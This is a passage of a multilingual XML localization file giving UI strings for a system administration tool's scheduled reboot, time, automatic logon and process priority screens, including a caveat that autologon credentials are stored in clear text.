<es>Especifique las credenciales para iniciar la sesión de forma automática en el host después de reiniciar.</es>
<de>Zugangsdaten für automatische Anmeldung beim Host nach Neustart eingeben.</de>
<fr>Indiquez les identifiants à utiliser pour la connexion automatique après redémarrage.</fr>
<it>Specificare le credenziali per accedere automaticamente all'host dopo il riavvio.</it>
<ru>Укажите учетные данные для автоматического входа на хост после перезагрузки.</ru>
<ja>リブート後にホストに自動でログインする際に使う資格情報を指定します。</ja>
<zh>指定用于重新启动后自动登录主机的凭据。</zh>
<ko>재부팅 후에 호스트에 자동으로 로그인하려면 자격 증명을 지정하십시오.</ko>
<en-gb>Specify credentials to automatically login on the host after rebooting.</en-gb>
<hu>Azonosító adatok megadása az újraindítást követő automatikus bejelentkezéshez.</hu>
<pt-br>Especifique as credenciais para efetuar login automático no host após a reinicialização.</pt-br>
<nl>Geef de aanmeldingsgegevens op om u automatisch bij de host aan te melden na het opnieuw opstarten.</nl>
</msg>
</cat>
<!-- "scheduled reboot" screen messages -->
<cat name="REBOOTAT">
<msg name="TITLE">
<en>Scheduled Reboot</en>
<de>Geplanter Neustart</de>
<es>Reinicio programado</es>
<fr>Redémarrage planifié</fr>
<it>Riavvio pianificato</it>
<ru>Запланированная перезагрузка</ru>
<ja>スケジュール済みリブート</ja>
<zh>计划的重新引导</zh>
<ko>재부팅 예약</ko>
<en-gb>Scheduled Reboot</en-gb>
<hu>Ütemezett újraindítás</hu>
<pt-br>Reinicialização programada</pt-br>
<nl>Gepland opnieuw opstarten</nl>
</msg>
<msg name="DESC">
<en>Allows you to schedule a date and time to automatically reboot the computer.
This is useful if the reboot is not urgent and can take place during off-peak hours.</en>
<de>Erlaubt Ihnen einen geplanten Neustart des Computer zu einer  festgesetzten
Zeit. Dies ist hilfreich, wenn der Neustart nicht sofort erforderlich ist, sondern
bis in die Nachtstunden warten kann, um niemanden bei der Arbeit zu stören.</de>
<es>Le permite programar una fecha y una hora para reiniciar automáticamente el ordenador.
Resulta útil si el reinicio no es urgente y puede realizarse en horas no punta.</es>
<fr>Vous permet de programmer une date et une heures de redémarrage automatique de votre ordinateur.
Ceci peut s'avérer utile si le redémarrage n'est pas urgent et peut ainsi être planifié
durant les heures creuses.</fr>
<it>Consente di pianificare la data e l'ora in cui avviare automaticamente il computer. Questa funzionalità è utile quando il riavvio non è urgente e può avvenire nelle ore di minore traffico.</it>
<ru>Позволяет запланировать дату и время автоматического перезапуска компьютера.
Это полезно для выполнения несрочного перезапуска в непиковые часы.</ru>
<ja>コンピュータを自動的にリブートする日時をスケジュールできます。これは、リブートが急を要さない場合に便利で、オフピーク時に実行できます。</ja>
<zh>使您可以安排自动重新引导计算机的日期和时间。如果重新引导不是非常紧急并且可以在非峰值时间进行时,此种方式则很有用。</zh>
<ko>컴퓨터를 자동으로 재부팅할 날짜 및 시간을 예약할 수 있습니다. 이것은 재부팅이 긴급하지 않은 경우 유용하며, 최고 사용 시간이 아닐 때 수행할 수 있습니다.</ko>
<en-gb>Allows you to schedule a date and time to automatically reboot the computer.
This is useful if the reboot is not urgent and can take place during off-peak hours.</en-gb>
<hu>Lehetővé teszi a számítógép automatikus újraindítását ütemezett dátummal és időben.
Ez akkor hasznos, ha az újraindítás nem sürgős, és a csúcsidőszakon kívül kerülhet rá sor.</hu>
<pt-br>Permite que você programe uma data e uma hora para reinicializar automaticamente o computador.
Ela é útil se a reinicialização não for urgente e pode ocorrer em momentos fora de pico.</pt-br>
<nl>Met deze optie kunt u een datum en tijdstip plannen waarop de computer automatisch opnieuw moet worden opgestart. Deze optie is handig wanneer het opnieuw opstarten niet dringend is en tijdens de daluren van het gebruik kan plaatsvinden.</nl>
</msg>
<msg name="TIME">
<en>This computer is scheduled to reboot at %REBOOTAT.TIME_dtml (%REBOOTAT.TIME_in).</en>
<de>Dieser Computer wird am %REBOOTAT.TIME_dtml (%REBOOTAT.TIME_in) neu gestartet.</de>
<es>Este ordenador está programado para reiniciarse a las %REBOOTAT.TIME_dtml (%REBOOTAT.TIME_in).</es>
<fr>Cet ordinateur est programmé pour redémarrer à %REBOOTAT.TIME_dtml
(%REBOOTAT.TIME_in).</fr>
<it>Questo computer è pianificato per il riavvio alle %REBOOTAT.TIME_dtml (%REBOOTAT.TIME_in).</it>
<ru>На данном компьютере запланирована перезагрузка в %REBOOTAT.TIME_dtml (%REBOOTAT.TIME_in).</ru>
<ja>このコンピュータは、 %REBOOTAT.TIME_dtml (%REBOOTAT.TIME_in) にリブートするようにスケジュールされています。</ja>
<zh>计划在 %REBOOTAT.TIME_dtml (%REBOOTAT.TIME_in) 重新引导此计算机。</zh>
<ko>이 컴퓨터는 %REBOOTAT.TIME_dtml(%REBOOTAT.TIME_in)에 재부팅하기로 예약되어 있습니다.</ko>
<en-gb>This computer is scheduled to reboot at %REBOOTAT.TIME_dtml (%REBOOTAT.TIME_in).</en-gb>
<hu>A számítógép ütemezett újraindítása ekkor: %REBOOTAT.TIME_dtml (%REBOOTAT.TIME_in).</hu>
<pt-br>Este computador foi programado para reinicializar em %REBOOTAT.TIME_dtml (%REBOOTAT.TIME_in).</pt-br>
<nl>Het opnieuw opstarten van deze computer is gepland om %REBOOTAT.TIME_dtml (%REBOOTAT.TIME_in).</nl>
</msg>
<msg name="USER">
<en>The reboot was scheduled by user %REBOOTAT.USER (%REBOOTAT.ADDR).</en>
<de>Der Neustart wurde vom Benutzer %REBOOTAT.USER (%REBOOTAT.ADDR) beauftragt.</de>
<es>El usuario %REBOOTAT.USER ha programado el reinicio (%REBOOTAT.ADDR).</es>
<fr>La redémarrage a été planifié par l'utilisateur %REBOOTAT.USER
(%REBOOTAT.ADDR).</fr>
<it>Il riavvio è stato pianificato dall'utente %REBOOTAT.USER (%REBOOTAT.ADDR).</it>
<ru>Перезагрузка запланирована пользователем %REBOOTAT.USER (%REBOOTAT.ADDR).</ru>
<ja>リブートは、ユーザ %REBOOTAT.USER (%REBOOTAT.ADDR) によってスケジュールされました。</ja>
<zh>该重新引导是由用户 %REBOOTAT.USER (%REBOOTAT.ADDR) 安排的。</zh>
<ko>재부팅은 %REBOOTAT.USER(%REBOOTAT.ADDR) 사용자에 의해 예약되었습니다.</ko>
<en-gb>The reboot was scheduled by user %REBOOTAT.USER (%REBOOTAT.ADDR).</en-gb>
<hu>Az újraindítást %REBOOTAT.USER (%REBOOTAT.ADDR) felhasználó ütemezte.</hu>
<pt-br>A reinicialização foi programada pelo usuário %REBOOTAT.USER (%REBOOTAT.ADDR).</pt-br>
<nl>Het opnieuw opstarten is gepland door gebruiker %REBOOTAT.USER (%REBOOTAT.ADDR).</nl>
</msg>
<msg name="FORCE">
<en>Force applications to close</en>
<de>Schließen der Anwendungen erzwingen.</de>
<es>Fuerza a que se cierren las aplicaciones</es>
<fr>Forcer la fermeture de l'application.</fr>
<it>Forza chiusura applicazioni</it>
<ru>Закройте все приложения</ru>
<ja>アプリケーションの終了を強制</ja>
<zh>强制应用程序关闭</zh>
<ko>응용 프로그램 강제 종료</ko>
<en-gb>Force applications to close</en-gb>
<hu>Alkalmazások kényszerített bezárása</hu>
<pt-br>Forçar aplicativo a fechar</pt-br>
<nl>Toepassingen gedwongen afsluiten</nl>
</msg>
<msg name="FORCED">
<en>Unresponsive applications will be forced to close.</en>
<de>Schließen von nicht antwortenden Anwendungen erzwingen.</de>
<es>Se forzará a que se cierren las aplicaciones que no respondan.</es>
<fr>Forcer la fermeture des applications qui ne répondent plus.</fr>
<it>Le applicazioni che non rispondono verranno chiuse.</it>
<ru>Неотвечающие приложения будут закрыты принудительно.</ru>
<ja>応答のないアプリケーションを強制終了します。</ja>
<zh>未响应的应用程序将被强制关闭。</zh>
<ko>실행되지 않는 응용 프로그램을 강제로 종료합니다.</ko>
<en-gb>Unresponsive applications will be forced to close.</en-gb>
<hu>A nem válaszoló alkalmazások bezárásának kényszerítése.</hu>
<pt-br>Aplicativos que não respondem serão forçados a fechar.</pt-br>
<nl>Toepassingen die niet reageren, worden onherroepelijk gesloten.</nl>
</msg>
</cat>
<!-- "time" screen messages -->
<cat name="TIME">
<msg name="TITLE">
<en>Time</en>
<de>Zeit</de>
<es>Hora</es>
<fr>Heure</fr>
<it>Ora</it>
<ru>Время</ru>
<ja>時間</ja>
<zh>时间</zh>
<ko>시간</ko>
<en-gb>Time</en-gb>
<hu>Idő</hu>
<pt-br>Hora</pt-br>
<nl>Tijdstip</nl>
</msg>
<msg name="DATE">
<en>Date</en>
<de>Datum</de>
<es>Fecha</es>
<fr>Date</fr>
<it>Data</it>
<ru>Дата</ru>
<ja>日付</ja>
<zh>日期</zh>
<ko>날짜</ko>
<en-gb>Date</en-gb>
<hu>Dátum</hu>
<pt-br>Data</pt-br>
<nl>Datum</nl>
</msg>
<msg name="CURRENT">
<en>The current date and time is</en>
<de>Heute ist</de>
<es>La fecha y hora actual es</es>
<fr>La date et l'heure du jour</fr>
<it>La data e l'ora correnti sono</it>
<ru>Текущая дата и время</ru>
<ja>現在の日時</ja>
<zh>当前日期和时间为</zh>
<ko>현재 날짜 및 시간</ko>
<en-gb>The current date and time is</en-gb>
<hu>A jelenlegi dátum és idő:</hu>
<pt-br>A data e a hora atuais são</pt-br>
<nl>De huidige datum en tijd is</nl>
</msg>
</cat>
<!-- "automatic login" screen messages -->
<cat name="AUTOLOGIN">
<msg name="TITLE">
<en>Automatic Logon</en>
<de>Automatische Anmeldung</de>
<es>Inicio de sesión automático</es>
<fr>Connexion Automatique</fr>
<it>Accesso automatico</it>
<ru>Автоматический вход в систему</ru>
<ja>自動ログオン</ja>
<zh>自动登录</zh>
<ko>자동 로그온</ko>
<en-gb>Automatic Logon</en-gb>
<hu>Automatikus bejelentkezés</hu>
<pt-br>Logon automático</pt-br>
<nl>Automatisch aanmelden</nl>
</msg>
<msg name="ENABLE">
<en>Automatic logon enabled</en>
<de>Automatische Anmeldung aktiviert</de>
<es>Inicio de sesión automático habilitado</es>
<fr>Connexion automatique activée</fr>
<it>Accesso automatico attivato</it>
<ru>Автоматический вход в систему включен</ru>
<ja>自動ログオンが有効</ja>
<zh>已启用自动登录</zh>
<ko>자동 로그온 사용</ko>
<en-gb>Automatic logon enabled</en-gb>
<hu>Az automatikus bejelentkezés be van kapcsolva</hu>
<pt-br>Logon automático habilitado</pt-br>
<nl>Automatisch aanmelden ingeschakeld</nl>
</msg>
<msg name="NOTE">
<en>Autologon is a Windows NT feature. %PRODUCTNAME provides an easy interface to
enabling/disabling it. If you turn Autologon on, your system will attempt to log
in the next time it reboots using the credentials you provide above. This can be
very useful under some circumstances, but it also has two large drawbacks.
First, there is no way to log in interactively with another user onto that
computer while Autologon is enabled. Second, the username and password are
stored in the registry in clear text form, which presents a possible security
hole - anybody with read access to the HKEY_LOCAL_MACHINE hive can retrieve the
login information.</en>
<de>Anmerkung: Die automatische Anmeldung ist eine Windows-NT-Funktion. %PRODUCTNAME
bietet eine einfache Oberfläche, um diese zu aktivieren/deaktivieren. Wenn Sie die
automatische Anmeldung einschalten, versucht Ihr System beim nächsten Neustart, eine
automatische Anmeldung mit den oben von Ihnen eingegebenen Zugangsdaten durchzuführen.
Dies kann für bestimmte Aufgabenstellungen sehr nützlich sein,
hat aber auch zwei große Nachteile: Zum einen
kann sich an diesem Computer kein weiterer Benutzer interaktiv anmelden, solange
die automatische Anmeldung aktiv ist, und zum anderen werden Benutzername und Kennwort
im Klartextformat in der Registrierung gespeichert. Alle, die eine Leseberechtigung für
HKEY_LOCAL_MACHINE besitzen, können diese Daten auslesen und missbräuchlich einsetzen.
</de>
<es>Autologon es una característica de Windows NT. %PRODUCTNAME ofrece una interfaz sencilla para
habilitarlo o deshabilitarlo. Si ejecuta Autologon, su sistema intentará iniciar
sesión la próxima vez que se reinicie utilizando las credenciales que le haya facilitado anteriormente. Esto puede resultar
muy útil en algunas circunstancias, pero también tiene dos inconvenientes importantes.
En primer lugar, no se puede iniciar sesión interactivamente con otro usuario en el mismo
ordenador mientras Autologon esté habilitado. Por otro lado, el nombre de usuario y la contraseña están
almacenados en el registro en texto plano, lo que resulta en un posible agujero
de seguridad, ya que cualquiera con acceso de lectura a HKEY_LOCAL_MACHINE puede acceder a
la información de inicio de sesión.
</es>
<fr>Autologon est une fonction de Windows NT. %PRODUCTNAME fournit une interface simple pour
l'activer/la désactiver. Si vous activé Autologon, votre système tentera d'ouvrir une session
au prochain redémarrage en utilisant les critères que vous avez définis plus haut.
Dans certain cas, ceci peut s'avérer très utile. mais il y a néanmoins deux gros inconvénients
Le premier est qu'il n'existe plus d'autre manière pour ouvrir une session interactive avec
un autre utilisateur sur cet ordinateur tant que Autologon est activé. Deuxièmement le nom
utilisateur et mot de passe sont enregistés en clair dans la base de registre, ce qui signifie qu'il y a
une faille possible de sécurité. Car quiconque ayant les droits d'accès à la clé de registre
HKEY_LOCAL_MACHINE peut récupérer ces informations.</fr>
<it>L'accesso automatico è una funzione di Windows NT. %PRODUCTNAME offre un'interfaccia semplice per l'attivazione e la disattivazione di questa funzione. Se si attiva l'accesso automatico, il sistema tenterà l'accesso all'avvio successivo utilizzando le credenziali fornite. Ciò può essere molto utile in alcuni casi, ma presenta anche due grandi inconvenienti.
Innanzitutto, mentre è attivato l'accesso automatico non è possibile eseguire sul computer l'accesso interattivo con un altro utente. In secondo luogo, il nome utente e la password vengono memorizzati nel Registro di sistema in formato non crittografato: ciò costituisce un rischio potenziale per la protezione in quanto chiunque con accesso in lettura all'hive HKEY_LOCAL_MACHINE potrebbe recuperare le informazioni di accesso.
</it>
<ru>Автоматический вход в систему является функцией Windows NT. %PRODUCTNAME предоставляет простой интерфейс для включения или выключения этой функции.
Если функция автоматического входа включена, то система после следующей
перезагрузки попытается выполнить вход в систему с помощью предоставленных выше учетных данных.
Эта возможность может быть очень полезной в некоторых обстоятельствах, но она также имеет два больших недостатка.
Во-первых, при включенной функции автоматического входа отсутствует возможность интерактивного входа в систему
для другого пользователя. Во-вторых, имя пользователя и пароль хранятся в реестре открытым текстом,
что создает потенциальную угрозу безопасности, так как любой пользователь с правами на чтение раздела реестра HKEY_LOCAL_MACHINE
может получить сведения о входе.
</ru>
<ja>自動ログオンは Windows NT の機能です。%PRODUCTNAME はこの機能を簡単に有効または無効にできるインターフェイスを提供します。
自動ログオンを有効にすると、次回の再起動時には、ログインに上記で指定された資格情報が使用されます。これは、
特定の状況では非常に便利ですが、2 つの重大な欠点があります。第1に、自動ログオンが有効になっている間は、
そのコンピュータに他のユーザと対話形式でログインすることができません。第2 に、ユーザ名およびパスワードはクリア テキスト形式でレジストリに保存されるため、
セキュリティ ホールになる可能性があります。つまり、HKEY_LOCAL_MACHINE ハイブの読み取りアクセス権を持つ人間なら誰でも、ログイン情報を読み取れることになります。 </ja>
<zh>自动登录是一项 Windows NT 功能。%PRODUCTNAME 提供了用于启用/禁用自动登录的简单界面。如果启用自动登录,
系统将在下一次重新引导时尝试使用您在上面提供的证书进行登录。这在某些情况下非常有用,但也有两大缺点。首先,
启用自动登录后,将无法以其他用户身份交互登录该计算机。其次,用户名和密码以明文形式存储在注册表中,
这可能导致安全漏洞 - 任何具有 HKEY_LOCAL_MACHINE 配置单元读取权限的用户均可以检索登录信息。 </zh>
<ko>자동 로그온은 Windows NT 기능입니다. %PRODUCTNAME은(는) 이 기능을 사용하거나 사용하지 않을 수 있는 쉬운 인터페이스를 제공합니다.
자동 로그온을 설정할 경우 시스템은 위에서 제공한 자격 증명을 사용하여 다음 재부팅 시 로그인을 시도합니다. 이 기능이 매우 유용할 때도 있지만 두 가지 단점이 있습니다.
첫째, 자동 로그온이 설정되면 해당 컴퓨터에 있는 다른 사용자는 대화식으로 로그인할 수 없습니다. 둘째,
사용자 이름 및 암호가 일반 텍스트 형식으로 레지스트리에 저장되기 때문에 HKEY_LOCAL_MACHINE 하이브에
대한 읽기 권한을 가진 사용자는 누구나 로그인 정보를 검색할 수 있다는 보안상 취약점이 발생할 수 있습니다.</ko>
<en-gb>Autologon is a Windows NT feature. %PRODUCTNAME provides an easy interface to enabling/disabling it. If you turn Autologon on, your system will attempt to log in the next time it reboots using the credentials you provide above. This can be very useful in some circumstances, but it also has two large drawbacks.
Firstly, there is no way to log in interactively with another user onto that computer while Autologon is enabled. Secondly, the username and password are stored in the registry in clear text form, which presents a possible security hole - anybody with read access to the HKEY_LOCAL_MACHINE hive can retrieve the login information.</en-gb>
<hu>Az automatikus bejelentkezés a Windows NT egyik funkciója. A %PRODUCTNAME termék könnyen kezelhető felületet biztosít ennek
be- és kikapcsolásához. Ha bekapcsolja az automatikus bejelentkezést, akkor a rendszer megkísérli, hogy a
következő újraindításkor a fent megadott hitelesítő adatok segítségével jelentkezzen be. Ez nagyon
hasznos lehet bizonyos körülmények között, ám van két nagy hátránya is.
Először is nincs lehetőség arra, hogy egy másik felhasználó interaktív módon
bejelentkezzen az adott számítógépre, míg az automatikus bejelentkezés funkció be van kapcsolva. Másodszor pedig a felhasználói név és a jelszó a
rendszerleíró adatbázisban tárolódik, sima szöveges formában, amely egy lehetséges biztonsági
rést jelent, hiszen bárki, akinek olvasási joga van a HKEY_LOCAL_MACHINE struktúrához, visszakeresheti a
bejelentkezési adatokat..</hu>
<pt-br>O logon automático é um recurso do Windows NT. O %PRODUCTNAME fornece uma interface fácil para
habilitá-lo/desabilitá-lo. Se você ativar o Logon automático, seu sistema tentará
efetuar logon na próxima vez em que ele for reinicializado usando as credenciais que você forneceu acima. Isso pode ser
muito útil em algumas circunstâncias, mas também tem dois grandes inconvenientes.
Primeiro, não há como efetuar login de forma interativa com outro usuário nesse
computador enquanto o Logon automático estiver habilitado. Segundo, o nome do usuário e a senha estão
armazenados no Registro em texto sem formatação, o que apresenta uma possível
brecha na segurança, pois qualquer pessoa que acessar o hive HKEY_LOCAL_MACHINE poderá recuperar
as informações de login.</pt-br>
<nl>De automatische aanmelding is een speciale functie van Windows NT. %PRODUCTNAME biedt een eenvoudige interface waarmee u deze optie kunt
in- en uitschakelen. Als u de optie voor de automatische aanmelding inschakelt, probeert uw systeem
de volgende keer tijdens het opstarten, u automatisch aan te melden met de aanmeldingsgegevens die u hierboven hebt opgegeven. Deze optie kan
in bepaalde situaties bijzonder handig zijn, maar er zijn ook twee belangrijke nadelen aan verbonden.
In de eerste plaats kunt u zich niet interactief met een andere gebruiker op deze
computer aanmelden wanneer de automatische aanmelding is ingeschakeld. Verder worden de gebruikersnaam en het wachtwoord
in het systeemregister opgeslagen als gewone tekst, hetgeen een beveiligingsprobleem
vormt omdat elke gebruiker die toegang heeft tot de HKEY_LOCAL_MACHINE-registersleutel hierdoor uw
aanmeldingsgegevens kan achterhalen.</nl>
</msg>
<msg os="macosx" name="NOTE">
<en>Autologon is a Mac feature. %PRODUCTNAME provides an easy interface to
enabling/disabling it. If you turn Autologon on, your system will attempt to log
in the next time it reboots using the credentials you provide above. This can be
very useful under some circumstances, but it also has two large drawbacks.
First, there is no way to log in interactively with another user onto that
computer while Autologon is enabled. Second, the username and password are
stored in the your computer in clear text form, which presents a possible security
hole - anybody with read access to it can retrieve the
login information.</en>
<de>Anmerkung: Die automatische Anmeldung ist eine Mac-Funktion. %PRODUCTNAME
bietet eine einfache Oberfläche, um diese zu aktivieren/deaktivieren. Wenn Sie die
automatische Anmeldung einschalten, versucht Ihr System beim nächsten Neustart, eine
automatische Anmeldung mit den oben von Ihnen eingegebenen Zugangsdaten durchzuführen.
Dies kann für bestimmte Aufgabenstellungen sehr nützlich sein,
hat aber auch zwei große Nachteile: Zum einen
kann sich an diesem Computer kein weiterer Benutzer interaktiv anmelden, solange
die automatische Anmeldung aktiv ist, und zum anderen werden Benutzername und Kennwort
im Klartextformat in der Registrierung gespeichert. Alle Benutzer mit Leseberechtigung können diese Daten auslesen und missbräuchlich einsetzen.
</de>
<es>Autologon es una característica de Mac. %PRODUCTNAME ofrece una interfaz sencilla para
Habilitarlo o deshabilitarlo. Si ejecuta Autologon, si sistema intentará iniciar
sesión la próxima vez que se reinicie utilizando las credenciales que le haya facilitado anteriormente. Esto puede resultar
muy útil en algunas circunstancias, pero también tiene dos inconvenientes importantes.
En primer lugar, no se puede iniciar sesión interactivamente con otro usuario en el mismo
ordenador mientras Autologon esté habilitado. Por otro lado, el nombre de usuario y la contraseña están
almacenados en el registro en texto plano, lo que resulta en un posible agujero
de seguridad, ya que cualquiera con acceso de lectura a HKEY_LOCAL_MACHINE puede acceder a
la información de inicio de sesión.</es>
<fr>Autologon est une fonction de Mac. %PRODUCTNAME fournit une interface facile pour
l'activer/désactiver. Si vous activé Autologon, votre système tentera d'ouvrir une session
au prochain redémarrage en utilisant les critères que vous avez définis plus haut.
Dans certain cas, ceci peut s'avérer très utile. mais il y a néanmoins deux grands inconvénients
Le premier est qu'il n'existe plus d'autre manière pour ouvrir une session interactive avec
un autre utilisateur sur cet ordinateur tant que Autologon est activé. Deuxièmement le nom
utilisateur et mot de passe sont enregistés en clair dans la base de registre, ce qui signifie qu'il y a
une faille possible de sécurité. Car quiconque ayant les droits d'accès à la clé de registre
HKEY_LOCAL_MACHINE peut récupérer ces informations.</fr>
<it>L'accesso automatico è una funzione di Mac. %PRODUCTNAME offre un'interfaccia semplice per l'attivazione e la disattivazione di questa funzione. Se si attiva l'accesso automatico, il sistema tenterà l'accesso all'avvio successivo utilizzando le credenziali fornite. Ciò può essere molto utile in alcuni casi, ma presenta anche due grandi inconvenienti.
Innanzitutto, mentre è attivato l'accesso automatico non è possibile eseguire sul computer l'accesso interattivo con un altro utente. In secondo luogo, il nome utente e la password sono memorizzati nel Registro di sistema in formato non crittografato: ciò costituisce un rischio potenziale per la protezione in quanto chiunque con accesso in lettura all'hive HKEY_LOCAL_MACHINE potrebbe recuperare le informazioni di accesso.</it>
<ru>Автоматический вход в систему является функцией Mac. %PRODUCTNAME предоставляет простой интерфейс для включения или выключения этой функции. Если функция автоматического входа включена, то система после следующей перезагрузки попытается выполнить вход в систему с помощью предоставленных выше учетных данных. Эта возможность может быть очень полезной в некоторых обстоятельствах, но она также имеет два больших недостатка.
Во-первых, при включенной функции автоматического входа отсутствует возможность интерактивного входа в систему для другого пользователя. Во-вторых, имя пользователя и пароль хранятся в реестре открытым текстом, что делает безопасность потенциально уязвимой, так как любой пользователь с правами на чтение куста HKEY_LOCAL_MACHINE может получить сведения о входе.</ru>
<ja>自動ログオンは Mac の機能です。%PRODUCTNAME はこの機能を簡単に有効または無効にできるインターフェイスを提供します。自動ログオンを有効にすると、次回の再起動時には、ログインに上記で指定された資格情報が使用されます。これは、特定の状況では非常に便利ですが、2 つの重大な欠点があります。第1に、自動ログオンが有効になっている間は、そのコンピュータに他のユーザと対話形式でログインすることができません。第2 に、ユーザ名およびパスワードはクリア テキスト形式でレジストリに保存されるため、セキュリティ ホールになる可能性があります。つまり、HKEY_LOCAL_MACHINE ハイブの読み取りアクセス権を持つ人間なら誰でも、ログイン情報を読み取れることになります。</ja>
<zh>自动登录是一项 Mac 功能。%PRODUCTNAME 提供了用于启用/禁用自动登录的简单界面。如果启用自动登录,系统将在下一次重新引导时尝试使用您在上面提供的证书进行登录。这在某些情况下非常有用,但也有两大缺点。首先,启用自动登录后,将无法以其他用户身份交互登录该计算机。其次,用户名和密码以明文形式存储在注册表中,这可能导致安全漏洞 - 任何具有 HKEY_LOCAL_MACHINE 配置单元读取权限的用户均可以检索登录信息。</zh>
<ko>자동 로그온은 Mac 기능입니다. %PRODUCTNAME은(는) 이 기능을 사용하거나 사용하지 않을 수 있는 쉬운 인터페이스를 제공합니다. 자동 로그온을 설정할 경우 시스템은 위에서 제공한 자격 증명을 사용하여 다음 재부팅 시 로그인을 시도합니다. 이 기능이 매우 유용할 때도 있지만 두 가지 단점이 있습니다. 첫째, 자동 로그온이 설정되면 해당 컴퓨터에 있는 다른 사용자는 대화식으로 로그인할 수 없습니다. 둘째, 사용자 이름 및 암호가 일반 텍스트 형식으로 레지스트리에 저장되기 때문에 HKEY_LOCAL_MACHINE 하이브에 대한 읽기 권한을 가진 사용자는 누구나 로그인 정보를 검색할 수 있다는 보안상 취약점이 발생할 수 있습니다.</ko>
<en-gb>Autologon is a Mac feature. %PRODUCTNAME provides an easy interface to enabling/disabling it. If you turn Autologon on, your system will attempt to log in the next time it reboots using the credentials you provide above. This can be very useful in some circumstances, but it also has two large drawbacks.
Firstly, there is no way to log in interactively with another user onto that computer while Autologon is enabled. Secondly, the username and password are stored in the registry in clear text form, which presents a possible security hole - anybody with read access to the HKEY_LOCAL_MACHINE hive can retrieve the login information.</en-gb>
<hu>Az automatikus bejelentkezés a Mac egyik funkciója A %PRODUCTNAME termék könnyen kezelhető felületet biztosít ennek
be- és kikapcsolásához. Ha bekapcsolja az automatikus bejelentkezést, akkor a rendszer megkísérli, hogy a
következő újraindításkor a fent megadott hitelesítő adatok segítségével jelentkezzen be. Ez nagyon
hasznos lehet bizonyos körülmények között, ám van két nagy hátránya is.
Először is, nincs lehetőség arra, hogy egy másik felhasználó interaktív módon
bejelentkezzen az adott számítógépre, míg az automatikus bejelentkezés be van kapcsolva. Másodsorban, a felhasználói név és a jelszó a 
rendszerleíró adatbázisban tárolódik, sima szöveges formában, amely egy lehetséges biztonsági
rést jelent - bárki, akinek olvasási joga van a HKEY_LOCAL_MACHINE struktúrához, visszakeresheti a
bejelentkezési információkat.</hu>
<pt-br>O logon automático é um recurso do Mac. O %PRODUCTNAME fornece uma interface fácil para 
habilitá-lo/desabilitá-lo. Se você ativar o Logon automático, seu sistema tentará
efetuar logon na próxima vez em que ele for reinicializado usando as credenciais que você forneceu acima. Isso pode ser
muito útil em algumas circunstâncias, mas também tem dois grandes inconvenientes.
Primeiro, não há como efetuar login de forma interativa com outro usuário nesse
computador enquanto o Logon automático estiver habilitado. Segundo, o nome do usuário e a senha estão 
armazenados no Registro em texto sem formatação, o que apresenta uma possível
brecha na segurança, pois qualquer pessoa que acessar o hive HKEY_LOCAL_MACHINE poderá recuperar
as informações de login.</pt-br>
<nl>De automatische aanmelding is een speciale functie van Mac. %PRODUCTNAME biedt een eenvoudige interface waarmee u deze optie kunt in- en uitschakelen. Als u de optie voor de automatische aanmelding inschakelt, probeert uw systeem de volgende keer dat u dit opstart u automatisch aan te melden met de aanmeldingsgegevens die u hierboven hebt opgegeven. Deze optie kan in bepaalde situaties bijzonder handig zijn, maar er zijn ook twee belangrijke nadelen aan verbonden. In de eerste plaats kan een andere gebruiker zich niet interactief op deze computer aanmelden wanneer de automatische aanmelding is ingeschakeld. Verder worden de gebruikersnaam en het wachtwoord in het systeemregister opgeslagen als gewone tekstwaarden, wat op zich een mogelijk beveiligingsprobleem is omdat elke gebruiker die toegang heeft tot de HKEY_LOCAL_MACHINE-registersleutel zo uw aanmeldingsgegevens kan opvragen.</nl>
</msg>
</cat>
<!-- "Automatic priorities" screen messages -->
<cat name="AUTOPRI">
<msg name="TITLE">
<en>Automatic Priorities</en>
<de>Automatische Prioritäten</de>
<es>Prioridades automáticas</es>
<fr>Priorités automatiques</fr>
<it>Priorità automatiche</it>
<ru>Автоматические приоритеты</ru>
<ja>自動優先順位</ja>
<zh>自动优先级</zh>
<ko>자동 우선 순위</ko>
<en-gb>Automatic Priorities</en-gb>
<hu>Automatikus prioritások</hu>
<pt-br>Prioridades automáticas</pt-br>
<nl>Automatische prioriteiten</nl>
</msg>
<msg name="NAME">
<en>Process Name</en>
<de>Prozessname</de>
<es>Nombre de proceso</es>
<fr>Nom du Processus</fr>
<it>Nome processo</it>
<ru>Имя процесса</ru>
<ja>プロセス名</ja>
<zh>进程名</zh>
<ko>프로세스 이름</ko>
<en-gb>Process Name</en-gb>
<hu>Folyamat neve</hu>
<pt-br>Nome do processo</pt-br>
<nl>Procesnaam</nl>
</msg>
<msg name="PRIOR">
<en>Priority</en>
<de>Priorität</de>
<es>Prioridad</es>
<fr>Priorité</fr>
<it>Priorità</it>
<ru>Приоритет</ru>
<ja>優先順位</ja>
<zh>优先级</zh>
<ko>우선 순위</ko>
<en-gb>Priority</en-gb>
<hu>Prioritás</hu>
<pt-br>Prioridade</pt-br>
<nl>Prioriteit</nl>
</msg>
<msg name="AFFINITY">
<en>Processor Affinity</en>
<de>Prozessoraffinität</de>
<es>Afinidad del procesador</es>
<fr>Affinité de Processeur</fr>
<it>Affinità processore</it>
<ru>Соответствие процессоров</ru>
<ja>プロセッサ アフィニティ</ja>
<zh>处理器关系</zh>
<ko>프로세서 선호도</ko>
<en-gb>Processor Affinity</en-gb>
<hu>Processzoraffinitás</hu>
<pt-br>Afinidade do processador</pt-br>
<nl>Processoraffiniteit</nl>
</msg>
<msg name="NOTE">
<en>You can have %PRODUCTNAME automatically update the priority class a
process runs under. This can come in very handy if you want to force lengthy,
CPU-intensive tasks into the background on a machine where responsiveness of other processes
is critical.
Click on the 'Create' button to get started, or select one or more processes
in the list above and click 'Delete' to have %PRODUCTNAME ignore those in the future.</en>
<de>Anmerkung: Mit %PRODUCTNAME können sie die Prioritätsklasse, unter der ein
Prozess ausgeführt wird, automatisch ändern. Dies kann sehr hilfreich sein, wenn
Sie zum Beispiel wenig zeitkritische dafür aber prozessorlastige Aufträge auf
Systemen in den Hintergrund stellen können, auf denen diese mit Applikationen
konkurrieren, die Echtzeitanforderungen stellen. Klicken Sie einfach auf den
Schalter "Erstellen" um zu starten oder selektieren Sie einen oder mehrere
eingetragene Prozesse, um diese aus der Kontrolle durch %PRODUCTNAME zu entlassen.</de>
<es>Puede hacer que %PRODUCTNAME actualice automáticamente la clase de prioridad
bajo la que funciona un proceso. Puede resultar práctico si desea forzar lentamente
a que las tareas con uso de CPU elevado se ejecuten en proceso de fondo en un ordenador en el que la capacidad de respuesta de otros procesos
sea crucial.
Haga clic en el botón 'Crear' para comenzar o seleccione uno o varios procesos
